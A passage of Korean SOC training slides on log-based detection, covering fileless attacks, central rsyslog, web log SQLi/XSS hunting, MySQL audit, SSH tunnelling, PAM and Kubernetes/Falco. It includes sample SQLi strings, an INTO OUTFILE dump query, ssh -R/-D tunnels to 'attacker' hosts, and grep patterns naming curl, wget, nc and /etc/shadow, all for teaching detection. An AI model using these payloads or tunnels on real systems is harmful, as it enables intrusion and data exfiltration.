    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    실습 결과 발표 가이드
    5분 발표 — 결론보다 근거가 더 중요하다. 로그 원문을 반드시 화면에 보여주면서 설명하라
    실습
    📣 발표 구조 (5분)
    0~1분
    사건 요약 1문장
    청중이 바로 이해할 수 있는 수준
    1~3분
    핵심 근거 로그 2~3개 화면에 표시
    "이 라인에서 이것이 보이기 때문에"
    3~4분
    타임라인 흐름 설명
    시간순 연결 보여주기
    4~5분
    Verdict + 즉시 조치
    운영팀이 지금 뭘 해야 하는가
    ✅ 좋은 발표 vs ❌ 나쁜 발표
    ❌ "198.51.100.23에서 공격이 있었습니다. 위험합니다."
    → 근거 없음, 행동 없음
    ✅ "auth.log 02:06에 198.51.100.23→admin 성공. audit.log 02:08에 같은 세션에서 curl로 /tmp에 스크립트 다운로드. 즉시 격리와 스크립트 수집 권고."
    → 로그 근거 + 타임라인 + 구체적 행동
    보강 설명팀별로 5분씩 발표합니다. 발표 시 반드시 로그 원문을 화면에 띄우고 설명해야 합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    발표피드백팀별
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    PART 32
    파일리스 공격 & 메모리 분석 입문
    파일리스 공격 탐지 · /proc 메모리 분석 · Volatility 기초 · 로그와 연계
    ⏱ 45분 | 고급 과정
    보강 설명파일리스 공격 & 메모리 분석 입문 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    메모리 포렌식파일리스Volatility
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    파일리스 공격: 디스크에 흔적을 남기지 않는 공격
    AV는 파일을 스캔하고, FIM은 파일 변경을 감시한다 — 파일이 없으면 둘 다 무용지물
    주의
    🔍 파일리스 공격 기법
    반사적 DLL/ELF 로드:
    메모리에 직접 코드를 로드, 디스크 기록 없음
    bash -c "인코딩된 코드":
    base64 디코딩 후 메모리에서 직접 실행
    process hollowing:
    정상 프로세스의 메모리를 악성 코드로 교체
    탐지 방법: auditd execve + /proc/pid/maps + EDR 메모리 스캔
    🔧 로그로 파일리스 공격 탐지
    # base64 디코딩 실행 탐지
    ausearch -sc execve -i | grep "base64.*bash\|bash.*base64"
    # Python/Perl 인라인 코드 실행
    ausearch -sc execve -i | grep -E 'a1="-c"\|a1="-e"'
    # /proc에서 실행 중인 의심 프로세스
    for pid in /proc/[0-9]*/; do
    exe=$(readlink $pid/exe 2>/dev/null)
    if echo "$exe" | grep -q "(deleted)"; then
    echo "🚨 삭제된 실행파일: $pid → $exe"
    fi
    done
    /proc/pid/maps로 메모리 이상 탐지
    실행 가능한(rwx) 익명 메모리 영역 = 메모리 인젝션의 강력한 증거
    분석
    📋 /proc/pid/maps 구조
    # cat /proc/31001/maps
    주소범위 권한 오프셋 dev inode 파일경로
    7f8b4c000000-7f8b4c200000 r-xp 0000 08:01 12345 /usr/bin/curl
    7f8b4e000000-7f8b4e001000 rw-p 0000 00:00 0 [heap]
    7fff1a000000-7fff1a010000 rwxp 0000 00:00 0 [anonymous]
    ↑ rwxp + anonymous = 메모리 인젝션 의심!
    # 모든 프로세스에서 rwx 익명 영역 탐색
    for pid in /proc/[0-9]*/maps; do
    if grep -q "rwxp.*00:00 0$" "$pid" 2>/dev/null; then
    p=$(dirname "$pid" | xargs basename)
    comm=$(cat /proc/$p/comm 2>/dev/null)
    echo "🚨 PID $p ($comm): rwx anonymous 발견"
    fi
    done
    🔍 권한 비트 읽는 법
    권한 비트의미보안 관점
    r--p읽기 전용 (코드 영역 정상)정상
    rw-p읽기+쓰기 (데이터 정상)정상
    r-xp읽기+실행 (라이브러리 정상)정상
    rwxp읽기+쓰기+실행⚠️ 의심
    rwxp + 익명파일 없이 실행 가능한 영역🚨 위험
    PART 33
    로그 수집 인프라 설계
    rsyslog · Filebeat · 중앙 로그 서버 · 보존 정책 · 무결성 · 용량 계획
    ⏱ 40분 | 인프라 설계
    보강 설명로그 수집 인프라 설계 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    로그 수집rsyslogFilebeat
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    rsyslog로 중앙 로그 서버 구축
    서버가 침해되어 로그가 삭제되어도 중앙 서버에는 남는다 — 원격 로그 전송은 보안의 기본
    명령어
    📤 클라이언트 설정 (각 서버)
    # /etc/rsyslog.conf 또는 /etc/rsyslog.d/99-remote.conf
    # TLS 인증서 설정
    $DefaultNetstreamDriverCAFile /etc/ssl/certs/ca.pem
    $DefaultNetstreamDriver gtls
    $ActionSendStreamDriverMode 1
    $ActionSendStreamDriverAuthMode anon
    # 중앙 서버로 전송 (TCP + TLS)
    *.* @@(o)log-server.internal:514;RSYSLOG_SyslogProtocol23Format
    # 전송 실패 시 큐잉 (오프라인 시 보존)
    $ActionQueueType LinkedList
    $ActionQueueSaveOnShutdown on
    $ActionQueueMaxDiskSpace 1g
    📥 서버 설정 (중앙 로그 서버)
    # /etc/rsyslog.d/00-server.conf
    # TCP 수신 활성화
    module(load="imtcp")
    input(type="imtcp" port="514")
    # 호스트별 파일로 저장
    $template RemoteLogs,"/var/log/remote/%HOSTNAME%/%PROGRAMNAME%.log"
    *.* ?RemoteLogs
    # 로그 보존 (logrotate)
    # /etc/logrotate.d/remote-logs
    /var/log/remote/*/*.log {
    daily; rotate 365; compress
    missingok; notifempty
    }
    보안 원칙: 중앙 로그 서버는 읽기 전용 네트워크 인터페이스만 노출 — 공격자가 침해해도 이미 전송된 로그는 삭제 불가
    로그 용량 계획: 보존하되 비용도 관리하라
    로그가 넘쳐서 유실되는 것도, 비용이 너무 커서 보존을 못 하는 것도 모두 보안 위험
    개념
    📊 서버 유형별 로그 발생량 추정
    서버 유형일일 로그량월간 (압축 후)
    일반 웹서버500MB~2GB5~20GB
    인증 서버 (Bastion)1~5GB10~50GB
    auditd 활성화 서버2~10GB20~100GB
    DB 서버1~3GB10~30GB
    공식: 서버 수 × 일일 발생량 × 보존 일수 / 압축비(~10:1) = 필요 용량
    🏗️ 3계층 보존 전략
    핫 (0~30일): SSD/NVMe
    빠른 검색 필요 · 실시간 분석용
    웜 (30~180일): HDD/오브젝트 스토리지
    감사/조사용 · 압축 저장
    콜드 (180일~3년): S3 Glacier / 테이프
    법적 보존 · 느린 검색 허용
    보강 설명로그 용량을 제대로 계획하지 않으면 디스크가 가득 차서 로그가 유실됩니다. 이것 자체가 심각한 보안 문제입니다. 핵심 사실을 읽은 뒤 왜 중요한지와 추가로 붙일 로그까지 함께 정리하면 실무 연결이 쉬워진다.
    용량 계획보존 기간티어링
    핵심 포인트
    • 슬라이드 핵심 개념을 사실·패턴·맥락 순서로 읽어 보기
    • 용어 정의보다 실제 로그에서 어떻게 나타나는지 함께 기억하기
    • 정상과 이상을 비교하며 기준을 만드는 것이 중요하다
    추가 확인
    • 이 주제에서 꼭 붙여야 할 다른 로그는 무엇인지 생각하기
    • 오탐이 날 수 있는 정상 예외를 한 줄로 적어 보기
    • 자산 중요도와 시간대가 결론을 바꾸는지 확인
    실무 적용
    • 한 문장 보고서 형태로 요약해 보는 연습
    • 핵심 필드 3개와 그 이유를 함께 정리하기
    • 다음 슬라이드나 실습과 어떻게 이어지는지 연결해 보기
    나만의 SOC 플레이북 초안 작성
    오늘 배운 것을 바탕으로 SSH 브루트포스 대응 플레이북을 작성한다 — 5단계면 충분하다
    실습
    📋 플레이북 템플릿: SSH 브루트포스
    트리거
    5분 내 같은 IP에서 10회 이상 실패
    SIEM Alert → 이 플레이북 시작
    자동화
    SOAR: IP 평판 조회 + 내부/외부 분류
    30초 내 자동 Enrichment
    분석가 확인
    성공 로그인 여부 확인 (5분)
    성공 있으면 Step 4 즉시 이동
    대응
    IP 차단 + 성공 계정 잠금 + 증거 수집
    승인 없이 자동 차단 가능
    종결
    티켓 기록 + 재발 방지 권고
    통계 반영 → 룰 튜닝
    💡 좋은 플레이북의 조건
    각 단계에 명확한 판단 기준 포함
    자동화 가능한 단계와 사람이 필요한 단계 구분
    예외 케이스 처리 방법 명시
    최대 시간 제한 설정 (예: 10분 내 결론)
    너무 상세하면 따르기 어렵고, 너무 단순하면 쓸모없다
    플레이북은 실제 사건을 처리하면서 계속 개선하는 것 — 처음에는 단순한 버전 1.0으로 시작하면 된다
    보강 설명플레이북은 표준화된 대응 절차서입니다. 처음에는 단순한 것부터 시작해서 경험이 쌓이면 세부화합니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    플레이북표준 절차자동화
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    PART 34
    웹 서버 로그 심화 분석
    access_log 구조 · SQL Injection · XSS · 디렉토리 탐색 · 웹쉘 탐지 · Rate Limiting
    ⏱ 65분 | 웹 보안 실전
    보강 설명웹 서버 로그 심화 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    웹 로그access_logSQLi
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    nginx/Apache access_log 필드 완전 해부
    로그 한 줄에 공격 여부를 판단할 수 있는 모든 정보가 담겨 있다 — 각 필드의 의미를 완전히 이해하라
    분석
    # Combined Log Format (nginx/Apache 기본)
    203.0.113.88 - alice [14/Feb/2024:03:22:11 +0900] "GET /admin/login.php?id=1'OR'1'='1 HTTP/1.1" 200 4821 "https://target.com/" "Mozilla/5.0 sqlmap/1.7"
    # 필드별 의미:
    203.0.113.88 → 클라이언트 IP
    alice → HTTP 인증 사용자 (없으면 -)
    ③ [14/Feb/2024...] → 요청 시간 + 타임존
    ④ "GET /admin/... HTTP/1.1" → 메서드 + URI + 프로토콜
    200 → HTTP 상태 코드 (200=성공, 404=없음, 500=서버오류)
    4821 → 응답 바이트 수 (0이면 데이터 없음)
    "https://..." → Referer (어디서 왔는가)
    "Mozilla/5.0..." → User-Agent (⚠️ sqlmap 명시!)
    📊 상태 코드 × 응답 크기 분석
    조합의미판단
    200 + 정상 크기정상 응답정상
    200 + 비정상 크기예상치 않은 데이터확인
    403 반복접근 거부 반복스캐닝
    404 대량디렉토리 무작위 탐색스캔
    500 반복서버 오류 유발공격 의심
    🚨 즉시 의심해야 할 User-Agent
    # 알려진 공격 도구 시그니처
    sqlmap/1.7 ← SQL Injection 자동화
    Nikto/2.1 ← 웹 취약점 스캐너
    Nmap Scripting ← 포트/서비스 스캐너
    WPScan ← WordPress 전용 공격
    python-requests ← 자동화 스크립트
    curl/7.x ← 수동 또는 스크립트
    SQL Injection 탐지: access_log에서 찾는 법
    URL 인코딩으로 위장해도 패턴은 남는다 — grep으로 SQLi 시도를 실시간 탐지하라
    주의
    🔍 SQLi 패턴 탐지 명령어
    # 기본 SQLi 키워드 탐지
    grep -iE \
    "union.{0,20}select|'.*or.*'.*=|--\s|;drop|1=1|1%3d1" \
    /var/log/nginx/access.log
    # URL 디코딩 후 탐지 (Python)
    python3 -c "
    from urllib.parse import unquote
    import re, sys
    pat = re.compile(r'union.{0,20}select|OR\s+1=1|--\s|;DROP', re.I)
    for line in sys.stdin:
    decoded = unquote(line)
    if pat.search(decoded): print(decoded, end='')
    " < /var/log/nginx/access.log
    # sqlmap 탐지 (User-Agent)
    grep -i "sqlmap\|SQLMAP" /var/log/nginx/access.log \
    | awk '{print $1}' | sort -u
    📋 SQLi 로그 예시 (URL 인코딩)
    # 원본 (URL 인코딩됨)
    GET /search?q=1%27%20UNION%20SELECT%201%2C2%2C3--
    # 디코딩 후
    GET /search?q=1' UNION SELECT 1,2,3--
    # 탐지 포인트
    UNION SELECT ← 데이터 추출 시도
    -- ← SQL 주석 (나머지 쿼리 무력화)
    ' OR '1'='1 ← 인증 우회 시도
    ;DROP TABLE ← 데이터 파괴 시도
    200 응답 + SQLi 패턴 = 공격 성공 가능성 — 즉시 조사
    디렉토리 스캐닝 & 무차별 탐색 탐지
    공격 전 정찰 — 짧은 시간에 수백 개의 404가 한 IP에서 나온다면 스캐너다
    분석
    🔧 스캐닝 탐지 명령어
    # IP별 404 응답 빈도 (상위 10)
    awk '$9==404{print $1}' /var/log/nginx/access.log \
    | sort | uniq -c | sort -rn | head -10
    # 5분 내 50회 이상 404 → 스캐너
    awk '$9==404{print $1, substr($4,2,17)}' access.log \
    | awk '{key=$1" "substr($2,1,15); cnt[key]++}
    END{for(k in cnt) if(cnt[k]>50) print cnt[k], k}' \
    | sort -rn
    # 탐색된 경로 목록 (공격 후 존재 여부 확인)
    grep "^203.0.113.88" access.log \
    | awk '$9==200{print $7}' | sort -u
    🚨 스캐닝 도구별 패턴
    gobuster / dirb:
    순차적 URI 탐색, User-Agent: gobuster 또는 정체 숨김
    nikto:
    User-Agent에 "Nikto" 명시 + 수백 개 취약점 경로 탐색
    wpscan:
    /wp-admin, /wp-login.php, /wp-content 대량 요청
    탐지 후 조치: fail2ban으로 IP 자동 차단
    maxretry=30, findtime=300, bantime=86400
    XSS & 인젝션 공격 로그 탐지
    access_log에서 <script>, onerror, javascript: 패턴을 찾으면 XSS 시도를 탐지할 수 있다
    분석
    🔍 XSS 탐지 명령어
    # XSS 패턴 탐지 (URL 인코딩 포함)
    grep -iE \
    "<script|%3cscript|onerror=|onload=|javascript:|alert\(|document\.cookie" \
    /var/log/nginx/access.log | head -20
    # Command Injection 탐지
    grep -iE \
    "[;&|`]\s*(ls|cat|wget|curl|bash|sh|nc|id|whoami)" \
    access.log
    # Path Traversal 탐지
    grep -E "(\.\./|%2e%2e%2f|%2e%2e/|\.\./)" access.log \
    | grep -E "(etc/passwd|etc/shadow|proc/self)"
    📊 웹 공격 유형별 탐지 포인트
    공격로그 패턴응답
    SQLiUNION, OR 1=1, --, ;200이면 위험
    XSS<script>, onerror=200+반영 확인
    LFI/RFI../etc/passwd, php://200이면 침해
    Cmd Injection;ls, |id, `whoami`200이면 즉시 대응
    XXEENTITY, SYSTEMXML POST 확인
    핵심: 공격 패턴 + 상태 200 = 공격이 성공했을 가능성 — 즉시 응답 내용 확인 필요
    PART 35
    데이터베이스 감사 로그
    MySQL general_log · slow_query_log · binlog · PostgreSQL pg_audit · 데이터 유출 탐지
    ⏱ 50분 | DB 보안
    보강 설명데이터베이스 감사 로그 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    DB 감사MySQLslow query
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    MySQL 감사 로그: general_log와 slow query로 이상 탐지
    정상 쿼리는 0.01초 미만 — LIMIT 없는 SELECT * FROM users 는 데이터 유출의 전형적 패턴이다
    분석
    🔧 MySQL 로그 설정 및 분석
    # /etc/mysql/mysql.conf.d/mysqld.cnf
    general_log = 1
    general_log_file = /var/log/mysql/general.log
    slow_query_log = 1
    long_query_time = 2 # 2초 이상 쿼리
    # 비정상 패턴 탐지
    # ① LIMIT 없는 대량 SELECT
    grep -i "SELECT.*FROM.*WHERE" general.log \
    | grep -iv "LIMIT\|COUNT\|SUM" | head -20
    # ② root 이외 계정의 스키마 조회
    grep -i "information_schema\|SHOW.*TABLE\|SHOW.*DATABASE" \
    general.log | grep -v "root@localhost"
    # ③ 야간 대용량 쿼리
    awk '/^2024-02-14 0[123]/{print}' slow_query.log
    🚨 데이터 유출 시그널
    LIMIT 없는 SELECT *:
    전체 테이블 조회 → 대량 데이터 유출 가능성
    INTO OUTFILE:
    SELECT * FROM users INTO OUTFILE '/tmp/dump.csv'
    → 파일로 직접 덤프
    응용 계정의 DDL:
    app_user가 DROP/ALTER 실행 → 비정상
    정상 패턴: 동일 쿼리 반복, LIMIT 포함, 업무 시간, 알려진 앱 계정
    PART 36
    SSH 포트포워딩 & 터널링 탐지
    로컬 포워딩 · 원격 포워딩 · 동적 포워딩(SOCKS) · 탐지 방법 · 차단 정책
    ⏱ 45분 | 우회 기법 탐지
    보강 설명SSH 포트포워딩 & 터널링 탐지 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    SSH 터널링포트포워딩우회
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SSH 터널링 3가지 유형과 탐지 방법
    방화벽이 SSH(22포트)만 허용해도 공격자는 내부망 어디에든 터널을 뚫을 수 있다
    주의
    -L 로컬 포워딩
    ssh -L 3306:db01:3306
    attacker@bastion
    로컬 포트 → 원격 서버
    목적: 내부 DB에 직접 접속
    auth.log: Accepted + 세션 유지
    -R 원격 포워딩
    ssh -R 0.0.0.0:8080:
    localhost:80 c2@attacker
    서버 포트 → 외부 노출
    목적: 내부 서버를 외부에 공개
    ss: 0.0.0.0:8080 LISTEN
    -D 동적 포워딩
    ssh -D 1080
    attacker@bastion
    SOCKS5 프록시 생성
    목적: 내부망 전체 접근
    가장 위험 — 전 포트 우회
    🔍 탐지 명령어
    # SSH 세션 중 포트포워딩 확인
    ss -tnp | grep "sshd" | grep -v ":22"
    # sshd 로그에서 포워딩 관련
    grep -E "tcpip-forward|direct-tcpip" /var/log/auth.log
    # 비정상적으로 긴 SSH 세션
    who | awk '{print $1,$2,$5}' | grep pts
    🔒 sshd_config 차단 설정
    # 포트포워딩 전면 금지
    AllowTcpForwarding no
    GatewayPorts no
    X11Forwarding no
    PermitTunnel no
    # Bastion 서버는 예외적으로 허용
    Match Group tunnel-users
    AllowTcpForwarding yes
    PART 37
    PAM 스택 심화 분석
    PAM 구조 · pam_unix · pam_tally2 · pam_deny · 인증 정책 강화 · 로그 해석
    ⏱ 40분 | 인증 심화
    보강 설명PAM 스택 심화 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    PAMpam_unixpam_tally
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    PAM 로그 완전 해석: auth.log의 PAM 메시지 읽기
    인증 실패 종류도 다르다 — 비밀번호 오류 vs 계정 잠금 vs 모듈 거부를 구분하라
    분석
    📋 PAM 메시지 유형별 분석
    # 정상 인증 흐름
    sshd: pam_unix: authentication success
    logname= uid=0 euid=0 tty=ssh user=alice
    sshd: pam_unix: session opened for user alice
    # 비밀번호 오류
    sshd: pam_unix: authentication failure
    logname= uid=0 euid=0 tty=ssh user=alice
    # 계정 잠금 (pam_tally2)
    sshd: pam_tally2: user alice (1001)
    tally 6, deny 5
    # 비밀번호 변경
    passwd: pam_unix: password changed for alice
    # su 권한 상승
    su: pam_unix: session opened for user root by alice(uid=1001)
    🚨 PAM 관련 이상 탐지 포인트
    pam_tally2 tally 초기화:
    계정 잠금 후 faillog -r로 수동 초기화 시도
    grep "pam_tally2" auth.log | grep "reset"
    서비스 계정 pam_unix success:
    svc_app 계정에 대화형 세션 → 비정상
    grep "session opened for user svc_" auth.log
    정상: 배치 프로세스는 pam_unix를 거치지 않거나 PAM 서비스가 별도 설정됨
    PART 38
    쿠버네티스 & 컨테이너 로그 심화
    K8s Audit Log · kubectl get events · Falco · 컨테이너 런타임 보안 · Pod 탈출 탐지
    ⏱ 50분 | 클라우드 네이티브
    보강 설명쿠버네티스 & 컨테이너 로그 심화 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    K8s컨테이너kubectl
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    K8s Audit Log: 쿠버네티스의 감사 기록
    kubectl 명령 한 줄도 API 서버에 기록된다 — 누가 언제 어떤 리소스를 조작했는지 추적 가능
    분석
    📋 K8s Audit Log 구조
    # /var/log/kubernetes/audit.log (JSON)
    {
    "kind": "Event",
    "timestamp": "2024-02-14T02:30:00Z",
    "user": {"username": "attacker@cluster"},
    "verb": "create",
    "resource": "pods",
    "objectRef": {"name": "backdoor-pod"},
    "responseStatus": {"code": 201}
    }
    # jq로 위험 이벤트 필터링
    jq 'select(.verb=="exec" or (.resource=="secrets" and .verb!="list"))' \
    /var/log/kubernetes/audit.log
    🚨 K8s 고위험 이벤트
    exec on pod: kubectl exec로 컨테이너에 쉘 진입
    verb="create", resource="pods/exec"
    privileged pod 생성: securityContext.privileged=true
    → 호스트 kernel 직접 접근 가능
    Secret 대량 조회: API 키, 인증서 유출 가능
    resource="secrets", verb="get"/"list"
    Falco 활용: 실시간 K8s 런타임 보안 탐지
    Falco: 컨테이너 런타임 실시간 보안 탐지
    auditd가 OS 수준을 감시하듯 Falco는 컨테이너 런타임을 감시한다 — K8s 환경 필수 보안 도구
    개념
    📋 Falco 탐지 룰 예시
    # /etc/falco/falco_rules.yaml
    - rule: Terminal shell in container
    desc: Container에서 쉘 실행 탐지
    condition: container and shell_procs and proc.tty != 0
    output: Shell opened (user=%user.name cmd=%proc.cmdline
    container=%container.name image=%container.image)
    priority: WARNING
    - rule: Write to sensitive files
    condition: open_write and sensitive_files and not trusted_containers
    output: Sensitive file write (file=%fd.name proc=%proc.name)
    priority: ERROR
    📊 Falco vs auditd 비교
    기능auditdFalco
    대상OS 수준컨테이너 수준
    기반커널 감사eBPF/ptrace
    K8s 통합어려움네이티브
    실시간 Alert간접적직접 지원
    컨테이너 메타없음Pod명, 이미지 포함
    현장 권고: K8s 환경이면 Falco + auditd 병행 — auditd로 노드 OS를, Falco로 컨테이너를 각각 감시
    PART 39
    제로트러스트 관점 로그 분석
    Zero Trust 원칙 · 지속적 검증 · 최소 권한 모니터링 · 횡적 이동 탐지 강화
    ⏱ 35분 | 현대 보안 전략
    보강 설명제로트러스트 관점 로그 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    Zero Trust접근 검증마이크로세그멘테이션
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    제로트러스트: 내부 IP도 신뢰하지 않는다
    "내부 망에서 왔으니 안전하다"는 전통 보안의 가장 큰 약점 — ZT는 이 가정을 제거한다
    개념
    🔄 전통 보안 vs 제로트러스트
    전통 (Castle & Moat):
    내부망 → 신뢰 ✅
    외부망 → 불신 ❌
    내부 IP 접속은 로그도 안 봄
    제로트러스트:
    내부망도 → 검증 필요
    외부망도 → 검증 후 허용
    모든 접속을 로그로 기록하고 분석
    🔍 ZT 환경에서의 추가 탐지 항목
    내부 서버 간 평소 없던 새로운 연결
    같은 계정이 여러 서버에 동시 접속
    서비스 계정의 비서비스 리소스 접근
    최소 권한 초과 작업 (RBAC 위반)
    인증서 만료 직전/직후 대량 접근
    💡 ZT 로그 전략
    모든 동서 트래픽(East-West)도 로그 수집 대상 — 내부망 로그가 없으면 측면 이동을 탐지할 수 없다
    보강 설명제로트러스트 환경에서는 내부 IP도 신뢰하지 않기 때문에 내부 서버 간 접속도 모두 로그에 남기고 분석해야 합니다. 정책 변화가 실제 로그와 운영 흐름에 어떤 차이를 만드는지도 같이 봐야 한다.
    내부 트래픽지속 검증접근 권한
    핵심 포인트
    • 보안 설정은 차단 그 자체보다 운영 기준을 만드는 일이다
